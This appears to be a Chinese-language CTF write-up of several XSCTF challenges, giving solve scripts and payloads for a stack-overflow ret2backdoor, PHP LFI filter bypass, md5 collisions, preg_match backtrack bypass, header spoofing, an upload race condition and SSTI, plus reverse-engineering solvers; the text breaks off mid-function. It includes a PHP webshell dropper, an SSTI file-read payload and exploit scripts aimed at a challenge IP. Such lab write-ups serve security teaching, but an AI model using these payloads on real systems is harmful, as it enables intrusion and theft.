babystack

附件:babystack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int16 v4; // [rsp+Eh] [rbp-2h]

init_func(argc, argv, envp);
start_show();
puts(&s);
__isoc99_scanf(v4);
vuln(v4);
return 0;
}

ssize_t __fastcall vuln(unsigned int a1)
{
char buf[80]; // [rsp+10h] [rbp-50h] BYREF

if ( a1 <= 0x7FFFFFFE )
{
printf(format);
exit(0);
}
puts(&byte_402038);
puts(&byte_40205D);
return read(0, buf, 0x8848uLL);
}

int backdoor()
{
return system("/bin/sh");
}
  • 对于第一个比较,直接输入-1
  • 对于read函数,输入80+8个字符之后再输入需要返回的地址(backdoor)即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

r = remote('43.248.97.213', 40054)
elf = ELF('./babystack')
sysaddr = elf.symbols['backdoor']
print('0x%x'%sysaddr)

r.recv()
r.sendline(b'-1')
r.recv()
r.sendline(b'a'*80 + b'b'*8 + p64(sysaddr))

r.interactive()

正常来说这么写没问题,但是运行的时候不会返回shell
原因估计是堆栈平衡之类的问题,解决的方法是直接返回到调用system函数的地址,跳过栈操作
image

exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

r = remote('43.248.97.213', 40054)
elf = ELF('./babystack')

r.recv()
r.sendline(b'-1')
sleep(2)
r.send(b'a'*80 + b'b'*8 + p64(0x4012bf))

r.interactive()

  • 当返回到后门函数行不通的时候,返回到调用system函数的语句
  • Windows和Linux平台运行同一份exp的结果可能不同

XSCTF{E49AA5B5-B7DA-769B-4AE7-F40A17E09A04}

Badbad_filename

GET me a filename and I'll include it!
测试一下发现过滤了php、filter、base、data、file等关键字
然后就搜一堆绕过的方法

  • 如果base被绕过了,可以使用url编码convert往后,resource往前的字符?filename=pHp://filtEr/convert.%2562%2561%2573%2565%2536%2534%252d%2565%256e%2563%256f%2564%2565/resource=
  • 除了测试文件/etc/passwd之外,如果是nginx,可以考虑读日志/var/log/nginx/access.log
  • 如果读flag.php,记得先访问一下看看页面是否存在

最后,这道题的解法是最简单的双写绕过
?filename=pphphp://filfilterter/convert.basbasee64-encode/resource=flag.pphphp

XSCTF{d0ubLe_Wr1te_2_byPass}

麻了

canyoupassit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php  
highlight_file(__FILE__);
error_reporting(0);
if ($_POST['a1'] != $_POST['b1'] && md5($_POST['a1'] == md5($_POST['b1']))){
echo "恭喜你过了第一关!";
} else {
die("就这?");
}
if ($_POST['key'] == md5($_POST['key'])) {
echo "恭喜你过了第二关!";
} else {
die("再看看?");
}
$now = time();
if ($_POST['a2'] != $_POST['b2'] && str_starts_with($_POST['a2'], $now) && str_starts_with($_POST['b2'], $now) && md5($_POST['a2'] === md5($_POST['b2']))){
echo "恭喜你过了第三关!";
include "/flag";
} else {
die("真可惜,就差最后一步了");
}

这是一道有关md5绕过的题目,主要分为三个部分

  1. 不同值的变量,md5的值是一样的(弱比较) – md5弱碰撞
  2. md5值等于自身的值(弱比较) – 0e绕过
  3. 不同值的md5是一样的(强比较),且要求两个值都有特定前缀

解决的方法如下:

  1. 对于弱比较的md5值,可以直接百度特定的值
    • QNKCDZO
    • 240610708
    • s878926199a
    • s155964671a
    • s214587387a
    • s214587387a
      这些字符串的 md5 值都是 0e 开头,在 php 弱类型比较中判断为相等
  2. 对于若比较的$a == md5($a),存在0e开头的值md5之后还是0e开头,这样在弱比较中仍然相等,如0e215962017
  3. 对于强比较,可以采用md5强碰撞的方式,网上有特定的值可以满足值不同但是md5值相同,但是这里存在另外一个问题,就是这两个值的前缀必须是当前时间,这就需要自己生成特定的两个值,使用fastcoll工具,可以生成特定前缀的值来满足条件,这个特定前缀就是当前时间
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import requests
import os
import time

t = int(time.time()+10)

with open('t.txt', 'w') as f:
f.write(str(t))

os.system("fastcoll_v1.0.0.5.exe t.txt")

a2 = open('t_msg1.txt', 'rb').read()
b2 = open('t_msg2.txt', 'rb').read()

url = "http://43.248.97.213:30038/"

data = {
'a1': 's214587387a',
'b1': 's155964671a',
'key' : '0e215962017',
'a2': a2,
'b2': b2,
}

while 1:
res = requests.post(url, data=data)
if 'flag{' in res.text:
print(res.text)
break

一些要注意的点

  • 特定前缀的时间最好往后调一调,避免因网络问题导致错过时间
  • 生成的两个txt需要以二进制的形式读取

flag{y0v|nDeedReA11yk$nwAb0uTMD5!~_~^_^}

Ezgame

进入是一个小游戏,要求达到非常高的分数

Pasted image 20241026193535.png

直接玩肯定不现实,于是翻翻js代码
因为不是通过php记录分数的,所以不可以使用POST请求之类的修改分数

入手的思路是通过浏览器控制台访问所有的对象,然后找到存储分数的变量,直接在控制台修改变量
翻了十几份代码之后去控制台查看对象,从全局对象入手,最终找到了这些
Pasted image 20241026194009.png

Pasted image 20241026194244.png
看起来像是存储游戏角色的变量
于是直接修改其中的gold和kills以及high_score(不知道改哪个,干脆全改了)

1
{"id":"o1","ownerId":null,"position":{"x":359.04999999999956,"y":154.2499999999999},"size":{"width":32,"height":32},"direction":{"x":-1,"y":0},"facing":{"x":-1,"y":0},"speed":150,"team":0,"hitPoints":100,"damage":0,"spriteSheet":"characters","spriteX":0,"spriteY":992,"spriteAlign":false,"animated":true,"animFrameIndex":0,"animNumFrames":2,"animDelay":200,"animElapsed":16,"spawnFrameIndex":0,"spawnFrameCount":2,"spawnFramesX":0,"spawnFramesY":0,"angle":0,"rotateSpeed":400,"rotate":false,"worth":0,"ttl":0,"ttlElapsed":0,"alpha":1,"alphaMod":-1,"gibletSize":"small","cooldown":false,"cooldownElapsed":0,"autoFire":false,"soundAttacks":"hero_attacks","soundDamage":"hero_damage","soundDies":"hero_dies","alive":true,"states":[{"type":0,"timer":{"elapsed_ms":43298,"ttl":0}},null,null],"currentWeaponIndex":1,"collidable":true,"bounce":true,"piercing":false,"achievementId":null,"deathsForAchievement":null,"ignoreLogDeath":false,"damageType":null,"drawIndex":1,"moveChangeElapsed":0,"moveChangeDelay":500,"wounds":15,"weapons":[{"type":"h_sword","count":null},{"type":"h_spear","count":82}],"gold":1000000000,"kills":10000000000,"timesWounded":1,"totalDamageTaken":15,"shotsFired":108,"shotsLanded":65,"shotsPerWeapon":{"h_sword":28,"h_knife":31,"h_spear":18},"meatEaten":0,"cheater":false,"phase":0,"phaseInit":false,"lootTable":[],"killSwitch":false,"type":"hero","role":"hero","isMeatboy":false,"bloodTimer":null}

然后返回游戏发现数据没有变化
以为错了,退出去,然后在主界面发现了flag
Pasted image 20241026194359.png

flag{basju_D0G006706_iajdisaia}

hardphp

进入题目什么都没有,只有一句话尝试大声喊出v我50!!!我就会给你flag
只能扫后台了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
~$ dirsearch -u http://43.248.97.213:30090/

_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /home/xr/.dirsearch/reports/43.248.97.213-30090/-_24-10-28_22-14-33.txt

Error Log: /home/xr/.dirsearch/logs/errors-24-10-28_22-14-33.log

Target: http://43.248.97.213:30090/

[22:14:33] Starting:
[22:14:37] 403 - 223B - /.htaccess.orig
[22:14:37] 403 - 225B - /.htaccess.sample
[22:14:37] 403 - 223B - /.htaccess.bak1
[22:14:37] 403 - 220B - /.ht_wsr.txt
[22:14:37] 403 - 223B - /.htaccess.save
[22:14:37] 403 - 224B - /.htaccess_extra
[22:14:38] 403 - 221B - /.htaccess_sc
[22:14:38] 403 - 223B - /.htaccess_orig
[22:14:38] 403 - 214B - /.html
[22:14:38] 403 - 219B - /.htpasswds
[22:14:38] 403 - 221B - /.htaccessBAK
[22:14:38] 403 - 221B - /.htaccessOLD
[22:14:38] 403 - 213B - /.htm
[22:14:38] 403 - 222B - /.htaccessOLD2
[22:14:38] 403 - 220B - /.httr-oauth
[22:14:38] 403 - 223B - /.htpasswd_test
[22:15:05] 200 - 304B - /index.php
[22:15:05] 200 - 304B - /index.php/login/
[22:15:17] 403 - 222B - /server-status
[22:15:17] 403 - 223B - /server-status/
[22:15:25] 200 - 825B - /www.zip

Task Completed

扫出来三个,其中www.zip是网站的备份
解压之后发现有个flagflaghhh.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php  
error_reporting(0);
highlight_file(__FILE__);

$input = $_POST['a'];
if (isset($input)) {
if (substr($input, 0, 5) == "vme50" and substr($input, -1, 1) == "!") {
if ($input == "vme50!") {
die("Speak a little louder, I can't hear you!");
}
if (preg_match('/vme50.+?!/is', $input)) {
die("xing bu xing a.Speak much louder!");
} system("cat /flag");
} else
echo "Bie lai zhan bian!!!";
}

对传入的a参数有三个条件

  1. vme50为开头,以感叹号为末尾

  2. 不可以是vme50

  3. 不可以满足正则表达式/vme50.+?!/is,该正则表达式的意思是匹配以vme50开头,以感叹号为末尾,且数字0后面有若干个零的字符串,一旦匹配到就算失败

  4. /:正则表达式的开始和结束标记。

  5. vme50:字面意义上的字符串 “vme50”,表示匹配文本中包含 “vme50” 的部分。

  6. .:点号(.)在正则表达式中是一个特殊字符,表示匹配任意单个字符(除了换行符)。

  7. +:加号(+)表示前面的字符(在这个例子中是点号 .)出现一次或多次。

  8. ?:问号(?)在这里与 + 结合使用,表示前面的字符(点号 .)出现一次或多次,但尽可能少地匹配,这是一种非贪婪匹配。

  9. !:感叹号(!)在这里是一个普通字符,表示匹配文本中包含 ! 的部分。

  10. /is:这是正则表达式的修饰符部分,i 表示不区分大小写,s 表示点号 . 可以匹配任意字符,包括换行符。

仔细观察就会发现条件2和条件3冲突了,因此绕不过preg_match
但是函数preg_match存在一个限制,就是匹配的次数,超过一定次数的匹配会直接返回FALSE,这个限制一般是100万
所以

1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://43.248.97.213:30090/flagflagflaghhh.php"

data = {
#'a': 'vme50'+'!'*279620100
'a': 'vme50'+'0'*1000000+'!'
}

res = requests.post(url=url, data=data)
print(res.text)

flag{haHa_tHiS_Is_V_mE50_F1@G}

KFC

主要考点:HTTP header各字段的含义及格式

进入题目连接,除了一张无意义的图片之外就是Are you come from localhost?
猜测修改XFF,即X-Forwarded-For: 127.0.0.1

发包返回Are you jump from KFC's website?(http:****.cn)
猜测修改Referer,搜索kfc的网址https://kfcapp.cn/,即Referer: https://kfcapp.cn/

发包返回Have you v me 50?
这下不懂了,但是仔细观察发现返回的包中header多了一个money的字段

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Date: Sat, 26 Oct 2024 17:57:44 GMT
Server: Apache/2.4.10 (Debian) PHP/5.4.45
X-Powered-By: PHP/5.4.45
money: 0
Vary: Accept-Encoding
Content-Length: 106
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

<p style="text-align: center;"><img src="./v50.jpg" alt="" width=132px height=188px> </p>Have you v me 50?

故猜测在header增加一个money的字段,值为50,即money: 50

flag{0k_!_G1v3_Y0u_th3_f1l@g_!_!}

kk园区审核员

善良的出题人组织了一次kk园区的参观活动,现在收集有意向前往的人员信息,提交后工作人员会第一时间审核哦,审核通过还能得到审核的美味曲奇奖励!

填表 - 提交 - 审核cookie
猜测是xss cookie外带

  • 找xss平台
  • 复制payload并填表
  • 提交并返回xss平台看记录

XSS平台-XSS测试网站-仅用于安全免费测试 (xssaq.com)

reallyExpensive

Pasted image 20241026145214.png
给了十块钱的余额要买好贵的flag
抓包改购买的数目
Pasted image 20241026145318.png

flag{^==^Y0uG@t$(t]$[r)^u^(e)-F10g!^<>^}

upload_quick

进入页面什么也干不了,没有找到文件上传的路径
文件上传的页面藏在js文件里

根据题目猜测条件竞争

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /Upl00000000ad.php HTTP/1.1
Host: 43.248.97.213:30014
Content-Length: 331
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 Edg/127.0.0.0
Origin: http://43.248.97.213:30014
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryY7TKFDA8ZwPEXpcS
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://43.248.97.213:30014/Upl00000000ad.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: JSESSIONID=886AD2DD7B34B204841F70E0D9696242
Connection: keep-alive

------WebKitFormBoundaryY7TKFDA8ZwPEXpcS
Content-Disposition: form-data; name="upload_file"; filename="cmd.php"
Content-Type: application/octet-stream

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]); ?>' ); ?>
------WebKitFormBoundaryY7TKFDA8ZwPEXpcS
Content-Disposition: form-data; name="submit"

上ä¼
------WebKitFormBoundaryY7TKFDA8ZwPEXpcS--

重复发包的同时访问这个页面,生成shell.php,然后远程连接就可以了

flag{9d097988-5eae-4c3b-86ac-d9b53ce4f340}

你买车票没

题目是一个登录框,需要输入账号密码,但是好像不是sql注入(因为测不出来)
每次提交都会弹窗xxx,没买车票不能上车!!!
但是在返回的页面中并没有看到js代码或者请求的js文件
Pasted image 20241031215016.png

一开始以为是使用php动态生成的js代码,但是没有思路
后面经过摸索发现是ssti模板注入,因为每次输入的用户名都会回显,所以可以使用{{ 4-1 }}这样的输入测试,如果返回3就说明存在ssti模板注入
Pasted image 20241031215101.png

确定了存在模板注入之后,还要确定怎么写payload
flask之ssti模版注入从零到入门 - 先知社区 (aliyun.com)

payload有很多种,一般是从字符串或者列表出发,向上找基类,然后从基类往下找可以读取文件的函数
这里使用的payload:{{"".__class__.__bases__[0].__subclasses__()[99]['get_data'](0,"/flag")}}

一般到subclasses之后就需要手动找目标函数,然后传入需要读的文件的路径,这里找到的是FileLoader
Pasted image 20241031215137.png

XSCTF{SsT1_MilKTea_m1LktEa!}

隐秘的backdoor

1
2
3
4
5
6
7
8
9
10
<?php  
error_reporting(0);
highlight_file(__FILE__);
$cmd = $_POST['cmd'];
if(isset($_POST['cmd'])){ phpinfo();
die("不要这样!TuT");
} else { $cmd = $_POST['cmd'];
eval($cmd);
}
?>

查询了很多绕过的方式,还是不行
然后看了看php的版本,查到了这个版本的漏洞

Pasted image 20241026174307.png

具体上网搜

flag{B@ck_do0r_!_B4ck_d0or_!}

calculate

查壳,发现upx,upx.exe -d calculate.exe
然后扔进ida,发现这么一个函数
Pasted image 20241025211214.png

百度下叫约束求解(看起来有点像矩阵运算)
1000多行手工提取不实际,写个脚本处理下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
with open('asd.txt', 'r') as f:
content = f.readlines()

tmp = ''
final = []

for i in content:
if "return 0i64;" not in i:
tmp += i.strip()
else:
final.append(tmp)
tmp = ''

print(final)
with open('tmp1.txt', 'w') as f:
for i in final:
f.write(i+'\n')

初步处理之后手动删去前后缀,就得到了公式(字符串版)

然后使用python中一个叫z3的库,专门用来求解这种方程组
其中有一个方法可以将字符串版的方程转换为python可以处理的表达式

以下是一个模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from z3 import *

def solver_eng(fc):
# 创建解释器对象
solver = Solver()
# 添加约束方程
for i in range(len(fc)):
solver.add(eval(fc[i])) #eval函数会将字符串形式的方程转换为z3模块能解析的方程

# 求解并转化为字符输出,得到flag
if solver.check() == sat: # check()方法用来判断是否有解,sat(即satisify)表示满足有解
ans = solver.model() # model()方法得到解
for i in v:
print(chr(ans[i].as_long()), end='')
# 一般不会无解,如果无解八成是未知数变量的类型不符合,或约束方程添加错误
else:
print("no ans!")


if __name__ == '__main__':
# 设置方程,请用脚本将条件中的所有方程处理成列表,然后赋值给fc列表(这样你就不用一个一个方程慢慢去复制了)
fc = []
# 创建未知数变量
v = [Int(f'v{i}') for i in range(0, len(fc))]

solver_eng(fc)

根据题目修改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from z3 import *

with open('tmp1.txt', 'r') as f:
content = f.readlines()

def solver_eng(fc):
solver = Solver()

for i in range(len(fc)):
solver.add(eval(fc[i]))

if solver.check() == sat:
ans = solver.model()
for i in v:
print(chr(ans[i].as_long()), end='')
else:
print('Error')

if __name__ == '__main__':
fc = []
for i in content:
fc.append(i.strip())
v = [Int(f'v{i}') for i in range(0, len(fc))]

solver_eng(fc)

flag{n0w_y0u_know_UPX!}

z3求解器脚本(CTF-reverse必备)_ctf z3-CSDN博客

call_above_call

核心代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
// bad sp value at call has been detected, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-90h]
int v5; // [esp-10h] [ebp-8Ch]
int v6; // [esp-Ch] [ebp-88h]
int v7; // [esp-8h] [ebp-84h]
int v8; // [esp-4h] [ebp-80h]
int v9; // [esp+0h] [ebp-7Ch]
int v10; // [esp+4h] [ebp-78h]
int i; // [esp+4h] [ebp-78h]
int v12; // [esp+8h] [ebp-74h]
char s[100]; // [esp+Ch] [ebp-70h] BYREF
unsigned int v14; // [esp+70h] [ebp-Ch]
int *p_argc; // [esp+74h] [ebp-8h]

p_argc = &argc;
v14 = __readgsdword(0x14u);
v12 = generate();
printf("input your key:");
((void (__stdcall *)(const char *, char *, int, int, int, int, int, int, int, int))__isoc99_scanf)(
"%s",
s,
v4,
v5,
v6,
v7,
v8,
1,
v10,
v12);
if ( strlen(s) != 25 )
{
printf("Sorry!");
exit(0);
}
wuhuwuhu((int)s);
for ( i = 0; i <= 24; ++i )
{
if ( s[i] != *(_BYTE *)(enc + i) )
{
v9 = 0;
break;
}
}
if ( v9 )
printf("Congratulations!");
else
printf("try again!");
end_m(p_argc);
return 0;
}
1
2
3
4
5
6
7
8
int __cdecl wuhuwuhu(int a1)
{
int i; // [esp+8h] [ebp-Ch]

for ( i = 0; i <= 23; ++i )
*(_BYTE *)(i + a1) ^= *(_BYTE *)(i + 1 + a1);
return a1;
}

主要逻辑:接收输入然后循环异或输入(元素1和元素2异或的结果替换元素1),然后和目标数组比较,但是目标数组是动态的,因此需要动态调试
拿到目标数组后反过来异或就可以了

exp

1
2
3
4
5
6
7
s = [0x0A, 0x0D, 0x06, 0x1C, 0x4B, 0x49, 0x17, 0x5A, 0x59, 0x04, 0x0A, 0x3C, 0x3B, 0x57, 0x51, 0x17, 0x12, 0x38, 0x26, 0x00, 0x1D, 0x17, 0x52, 0x5C, 0x7D]

for i in range(len(s)):
s[len(s)-2-i] = s[len(s)-2-i] ^ s[len(s)-1-i]

for i in s:
print(chr(i), end='')

flag{0yn4mic_d3bug_yyds!}

cube3

题目描述

  1. 你玩过三阶魔方吗,你能看懂R U R’ U’这样的公式吗,这里有4个魔方等你来还原
  2. 公式(步骤)格式例如R U’ R U R U R U’ R’ U’ R2’ <回车>,每步操作用空格分开,逆时针加上’字符
  3. flag格式为xsctf{formula},其中formula为4个魔方的还原步骤依次连在一起,去掉空格,取其md5
  4. 本题在Ubuntu22下编译,请不要使用ubuntu18

    6个面,一共24种旋转操作,分析时需要对号入座

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [rsp+Bh] [rbp-3B5h]
int v5; // [rsp+Ch] [rbp-3B4h]
char v6[160]; // [rsp+10h] [rbp-3B0h] BYREF
int v7[40]; // [rsp+B0h] [rbp-310h] BYREF
char v8[160]; // [rsp+150h] [rbp-270h] BYREF
int v9[114]; // [rsp+1F0h] [rbp-1D0h] BYREF
unsigned __int64 v10; // [rsp+3B8h] [rbp-8h]

v10 = __readfsqword(0x28u);
cube_init((__int64)v9);
print_menu(v9, argv);
v4 = getchar();
getchar();
if ( v4 <= '0' || v4 > 52 )
{
if ( v4 == 53 )
puts("bye!");
else
puts("error!");
}
else
{
formula_get_by_id((__int64)v6, v4 - 48);
cube_scramble((__int64)v9, (__int64)v6);
cube_print((unsigned int *)v9);
v5 = 0;
formula_input((char *)v7);
while ( v7[v5] != 24 )
cube_rotating((__int64)v9, v7[v5++]);
cube_print((unsigned int *)v9);
formula_reverse(v7, v8);
if ( !(unsigned int)cube_isorigin(v9) || (unsigned int)formula_cmp(v6, v8) )
{
if ( (unsigned int)cube_isorigin(v9) && (unsigned int)formula_cmp(v6, v8) )
puts("Restore successfully!!!But not reverse!!!");
else
puts("Restore failed!!!");
}
else
{
puts("Restore successfully!!!You reversed the formula!!!");
}
}
printf("press anykey to continue...");
getchar();
return 0;
}

运行是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
~$ ./cube3
三阶魔方
_______________________________________________
| |
| 请输入编号: |
| 1.打乱1 2.打乱2 |
| 3.打乱3 4.打乱4 |
| 5.退出程序 |
| |
| |
-----------------------------------------------
请输入编号[1/2]:4
________________
| 2 | 3 | 3 |
+----+----+----+
| 2 | 4 | 4 |
+----+----+----+
| 5 | 3 | 6 |
+----+----+----+
/ 4 / 5 / 1 /|
/____/____/____/ |
/ 1 / 1 / 6 /|3+
/____/____/____/ |/|
/ 3 / 5 / 1 /|1|1|
______________/____/____/____/4|/|/|
| 1 | 5 | 5 | 2 | 4 | 6 |/|6+1|
+---+----+----+----+----+----+6|/|/
| 5 | 5 | 2 | 6 | 3 | 3 |/|6+
+---+----+----+----+----+----+2|/
| 6 | 2 | 3 | 6 | 3 | 5 |/
+---+----+----+----+----+----+
| 2 | 1 | 4 |
+----+----+----+
| 4 | 2 | 4 |
+----+----+----+
| 4 | 2 | 5 |
+----+----+----+
Enter a formula and separate each step with a space
Tip: The format of the operation is like R2 R2' R
['] represents a counterclockwise rotation
>>>

需要输入魔方的公式
【初级篇】三阶魔方入门教程 - 知乎 (zhihu.com)

要还原魔方,最简单的方法是反着拧
要反着拧,就要找到打乱的顺序

ida大部分函数看不懂没关系,可以凭感觉找到存储打乱顺序的变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
unsigned __int64 __fastcall formula_get_by_id(__int64 a1, int a2)
{
int i; // [rsp+1Ch] [rbp-294h]
int v4[162]; // [rsp+20h] [rbp-290h] BYREF
unsigned __int64 v5; // [rsp+2A8h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(v4, 0, 0x280uLL);
v4[0] = 23;
v4[1] = 3;
v4[2] = 4;
v4[3] = 8;
v4[4] = 18;
v4[5] = 9;
v4[6] = 12;
v4[7] = 18;
v4[8] = 13;
v4[9] = 7;
v4[10] = 20;
v4[11] = 11;
v4[12] = 13;
v4[13] = 22;
v4[14] = 14;
v4[15] = 6;
v4[16] = 8;
v4[17] = 18;
v4[18] = 4;
v4[19] = 14;
v4[20] = 24;
v4[40] = 6;
v4[41] = 22;
v4[42] = 7;
v4[43] = 13;
v4[44] = 1;
v4[45] = 4;
v4[46] = 2;
v4[47] = 8;
v4[48] = 22;
v4[49] = 19;
v4[50] = 6;
v4[51] = 10;
v4[52] = 19;
v4[53] = 21;
v4[54] = 19;
v4[55] = 7;
v4[56] = 17;
v4[57] = 8;
v4[58] = 7;
v4[59] = 12;
v4[60] = 24;
v4[80] = 5;
v4[81] = 15;
v4[82] = 19;
v4[83] = 2;
v4[84] = 5;
v4[85] = 17;
v4[86] = 12;
v4[87] = 9;
v4[88] = 7;
v4[89] = 12;
v4[90] = 18;
v4[91] = 5;
v4[92] = 12;
v4[93] = 3;
v4[94] = 11;
v4[95] = 14;
v4[96] = 5;
v4[97] = 18;
v4[98] = 6;
v4[99] = 22;
v4[100] = 24;
v4[120] = 20;
v4[121] = 12;
v4[122] = 7;
v4[123] = 21;
v4[124] = 14;
v4[125] = 23;
v4[126] = 19;
v4[127] = 13;
v4[128] = 3;
v4[129] = 18;
v4[130] = 7;
v4[131] = 3;
v4[132] = 0x16;
v4[134] = 8;
v4[135] = 1;
v4[136] = 0x12;
v4[137] = 7;
v4[138] = 0x12;
v4[139] = 0xB;
v4[140] = 0x18;
for ( i = 0; v4[40 * a2 - 40 + i] != 24; ++i )
*(_DWORD *)(a1 + 4LL * i) = v4[40 * a2 - 40 + i];
*(_DWORD *)(4LL * i + a1) = 24;
return v5 - __readfsqword(0x28u);
}

因为题目说一共有24种操作,刚好是v4元素的取值范围-1
减一的原因是因为有四个魔方,最大的元素(24)的作用类似分隔符,通过主函数的while语句也可以判断出来,而且整个v4数组刚好被值为24的元素分隔成4部分,刚好对应4个魔方

因此可以将这些元素提取出来(有坑),然后映射到对应的公式,再反着输出就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49

s = open('./tmp.txt', 'r').readlines()

print(len(s))

ss = []
for i in s:
num = ''
for j in range(len(i)):
if i[j] == '=':
num = i[j+1:-2]
ss.append(int(num))

rotate = [
'U', 'U\'', 'U2', 'U2\'',
'D', 'D\'', 'D2', 'D2\'',
'F', 'F\'', 'F2', 'F2\'',
'B', 'B\'', 'B2', 'B2\'',
'L', 'L\'', 'L2', 'L2\'',
'R', 'R\'', 'R2', 'R2\''
]

for i in ss:
if i == 24:
print()
else:
print(rotate[i], end=' ')

for i in range(len(ss)-1, -1, -1):
if ss[i] == 24:
print()
else:
if '\'' in rotate[ss[i]]:
print(rotate[ss[i]-1], end=' ')
else:
print(rotate[ss[i]+1], end=' ')
print()
sss = '''
B2' D' L2' F' D2' B2' R2' B F2 R' D2 B L2' B' F L2' F' D' U2 R2
B' D2 F' L D2 L2 R L2 F2' D2' L2 R2' F' U2' D' U B D2 R2' D2'
R2' D2' L2' D B2' F2 U2 B' D L2' B' D2 F B' L D U2' L2 B2 D
F2 L2' D2 L2' U F' U' R2' U2 D2 L2' U2 B L2 R2 B2' R D2 B' R'
'''
ssss = ''
for i in sss:
if i != ' ' and i != '\n':
ssss += i

print(ssss)

这样就可以得到四个魔方的解法,可以使用程序验证,最后再将解法按照题目要求处理就行

xsctf{0a15a3168e6bf08df8178186312b0396}

  • v4数组的定义种少了一个元素v4[133],需要动态调试得到这个元素的值
  • 因为是4个魔方一起反着输出,所以第一个魔方的解法应该对应第四行的输出
  • 最后串起来的时候是第一个魔方的解法+第二个魔方的解法...,即第四行+第三行+…

easy_xor

核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char v4; // al
int v5; // eax
char v7; // [rsp+33h] [rbp-Dh]
char v8; // [rsp+33h] [rbp-Dh]
int v9; // [rsp+34h] [rbp-Ch]
int i; // [rsp+38h] [rbp-8h]
int v11; // [rsp+3Ch] [rbp-4h]

_main();
v11 = 0;
v9 = 0;
puts("Please input your flag:");
while ( 1 )
{
v8 = getchar();
if ( v8 == 10 )
break;
v7 = key[v9 % 4] ^ v8;
while ( 1 )
{
v4 = v7--;
if ( v4 <= 0 )
break;
v3 = v11++;
s[v3] = 1;
}
v5 = v11++;
s[v5] = 0;
++v9;
}
while ( v11 <= 2559 )
s[v11++] = -1;
for ( i = 0; i <= 2559; ++i )
{
if ( r[i] != s[i] )
{
puts("Lose lose lose!");
break;
}
}
if ( i == 2560 )
puts("Win win win!");
system("pause");
return 0;
}

其中数组r是在运行时生成的,因此需要使用动态调试

大概的逻辑是:

  • 接收输入直到回车符
  • 计算每个字符异或的结果
  • 异或的结果是多少,就在数组中添加多少个1,然后添加一个0
  • 对比两个数组的差异

因此解密的逻辑就是

  1. 拿到目标数组
  2. 遍历数组中1的个数,直到遇到数字0
  3. 将以上1的个数循环异或key的元素
  4. 转换为字符输出
  5. 重复2到4,直到遇到-1

exp.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
s = [...]
ch = []
key_index = 0
key = 'SCNU'
c = 0
for i in s:
if i == 1:
c += 1
elif i == 0:
# print(hex(c), end='')
ch.append(chr(c^ord(key[key_index%4])))
key_index += 1
c = 0
else:
break

print(''.join(ch))

flag{Winn3r_n0t_L0s3r_#}

eazy_64x

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+8h] [rbp-98h]
int v5; // [rsp+Ch] [rbp-94h]
